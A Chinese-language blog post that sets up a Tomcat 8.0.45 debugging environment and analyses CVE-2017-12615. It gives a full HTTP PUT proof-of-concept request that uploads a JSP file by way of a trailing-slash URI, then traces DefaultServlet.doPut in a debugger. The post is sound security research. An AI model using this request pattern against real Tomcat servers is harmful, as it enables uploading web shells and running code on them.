搭建Tomcat调试环境并分析CVE-2017-12615

准备

下载存在漏洞版本tomcat,这里下的是8.0.45

https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.45/

可执行文件和源码都需要下载

image-20231211175024623

用idea打开源码文件,然后将java目录设置为源码目录

搭建Tomcat调试环境并分析CVE-2017-12615_第1张图片

配置一下jdk

搭建Tomcat调试环境并分析CVE-2017-12615_第2张图片

搭建Tomcat调试环境并分析CVE-2017-12615_第3张图片

搭建Tomcat调试环境并分析CVE-2017-12615_第4张图片

转成maven项目

image-20231211180334913

搭建Tomcat调试环境并分析CVE-2017-12615_第5张图片

添加一些依赖

    
        
            junit
            junit
            4.12
            test
        
        
            org.easymock
            easymock
            3.4
        
        
        
            ant
            ant
            1.6.5
        
        
            wsdl4j
            wsdl4j
            1.6.2
        
        
            javax.xml
            jaxrpc
            1.1
        
        
            org.eclipse.jdt.core.compiler
            ecj
            4.5.1
        
    

搭建Tomcat调试环境并分析CVE-2017-12615_第6张图片

配置调试环境:

搭建Tomcat调试环境并分析CVE-2017-12615_第7张图片

指定主类

搭建Tomcat调试环境并分析CVE-2017-12615_第8张图片

给jvm添加个参数:

搭建Tomcat调试环境并分析CVE-2017-12615_第9张图片

-Dcatalina.home="C:\Users\yokan\Desktop\code\java\apache-tomcat-8.0.45"

搭建Tomcat调试环境并分析CVE-2017-12615_第10张图片

现在就配置好所有环境了,运行一下看看:

搭建Tomcat调试环境并分析CVE-2017-12615_第11张图片

搭建Tomcat调试环境并分析CVE-2017-12615_第12张图片

复现

poc

PUT /1.jsp/ HTTP/1.1
Host: 192.167.30.37:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=DE7C57127EF339EAF83C0EBCF3C45A54
Connection: close

<%out.print("TEST");%>

搭建Tomcat调试环境并分析CVE-2017-12615_第13张图片

要触发漏洞,需要修改一下配置:

在web.xml下增加

搭建Tomcat调试环境并分析CVE-2017-12615_第14张图片

然后就可以利用成功了

搭建Tomcat调试环境并分析CVE-2017-12615_第15张图片

调试

Tomcat 在处理请求时有两个默认的 Servlet,一个是 DefaultServelt,另一个是 JspServlet。两个 Servlet 被配置在 Tomcat 的 web.xml 中。JspServlet 只处理后缀为.jsp 和.jspx 的请求。其他请求都由 DefaultServlet 进行处理。从这一点可以理解为何 PUT 请求时 URI 为“/1.jsp/”而不直接使用“/1.jsp”, 因为直接 PUT 请求“/1.jsp”会由 JspServlet 进行处理,而不是由 DefaultServlet 处理, 所以无法触发漏洞。

DefaultServlet程序针对每一种http请求方式都有对应的方法,漏洞复现中使用的payload中请求头为put方式,因此会被DefaultServlet程序的doPut方法拦截到,因此doPut方法是我们分析的入口。

搜索DefaultServlet:

搭建Tomcat调试环境并分析CVE-2017-12615_第16张图片

然后找到它的doPut方法

搭建Tomcat调试环境并分析CVE-2017-12615_第17张图片

搭建Tomcat调试环境并分析CVE-2017-12615_第18张图片

然后下一个断点

搭建Tomcat调试环境并分析CVE-2017-12615_第19张图片

然后重放一下请求包:

搭建Tomcat调试环境并分析CVE-2017-12615_第20张图片

doPut方法中首先会判断readOnly,如果readOnly值为true会发送SC_FORBIDDEN错误并直接返回(SC_FORBIDDEN定义在HttpServletResponse接口中,表示403错误代码)。只有当readOnly值为false才会继续往下执行,那么readOnly值是从哪来的?其实readOnly的值就是从web.xml文件中读取的

在下面位置打个断点

搭建Tomcat调试环境并分析CVE-2017-12615_第21张图片

搭建Tomcat调试环境并分析CVE-2017-12615_第22张图片

步入该方法

搭建Tomcat调试环境并分析CVE-2017-12615_第23张图片

搭建Tomcat调试环境并分析CVE-2017-12615_第24张图片

继续步入main.write方法

搭建Tomcat调试环境并分析CVE-2017-12615_第25张图片

进入到file方法

这里可以看到在new File这里把/3.jsp/的后面的斜杠给去掉了

搭建Tomcat调试环境并分析CVE-2017-12615_第26张图片

单步执行到Files.copy方法

这里可以看下dest.toPath的执行结果:

搭建Tomcat调试环境并分析CVE-2017-12615_第27张图片

然后步入,继续运行到newOutputStream方法,

继续步入

搭建Tomcat调试环境并分析CVE-2017-12615_第28张图片

可以看到这这里完成了文件的创建,但是内容还是为空

搭建Tomcat调试环境并分析CVE-2017-12615_第29张图片

通过copy方法,写入了内容

搭建Tomcat调试环境并分析CVE-2017-12615_第30张图片

搭建Tomcat调试环境并分析CVE-2017-12615_第31张图片

总结:

tomcat任意文件写入漏洞通过一些错误配置,然后再构造特定的uri请求来绕过JspServlet,利用DefaultServlet程序的漏洞上传文件

你可能感兴趣的:(tomcat,java,渗透测试,网络安全)